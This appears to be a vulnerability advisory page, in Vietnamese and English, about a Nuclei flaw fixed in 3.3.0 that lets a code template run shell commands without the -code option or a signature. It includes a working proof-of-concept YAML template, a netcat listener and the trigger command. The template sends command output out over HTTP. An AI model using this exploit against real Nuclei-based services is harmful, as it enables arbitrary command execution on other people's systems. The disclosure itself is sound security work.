| Gói / sản phẩm | Phiên bản bị ảnh hưởng | Phiên bản đã vá |
|---|---|---|
| github.com/projectdiscovery/nuclei | mọi phiên bản | |
| github.com/projectdiscovery/nuclei/v2 | mọi phiên bản | |
| github.com/projectdiscovery/nuclei/v3 | < 3.3.0 | 3.3.0 |
Find a way to execute code template without -code option and signature.
write a code.yaml:
id: code
info:
name: example code template
author: ovi3
code:
- engine:
- sh
- bash
source: |
id
http:
- raw:
- |
POST /re HTTP/1.1
Host: {{Hostname}}
{{code_response}}
workflows:
- matchers:
- name: t
using nc to listen on 80:
nc -lvvnp 80
execute PoC template with nuclei:
./nuclei -disable-update-check -w code.yaml -u http://127.0.0.1 -vv -debug
and nc will get id command output.
We use -w to specify a workflow file, not -t to template file. and notice there is a workflows field in code.yaml to pretend to be a workflow file.
Test in Linux and Nuclei v3.2.9
Some web applications inherit from Nuclei and allow users to edit and execute workflow files. In this case, users can execute arbitrary commands. (Although, as far as I know, most web applications use -t to execute)
Bạn đang dùng một trong các sản phẩm này? Quét site để biết có đang lộ phiên bản có lỗ hổng không.
Quét site miễn phí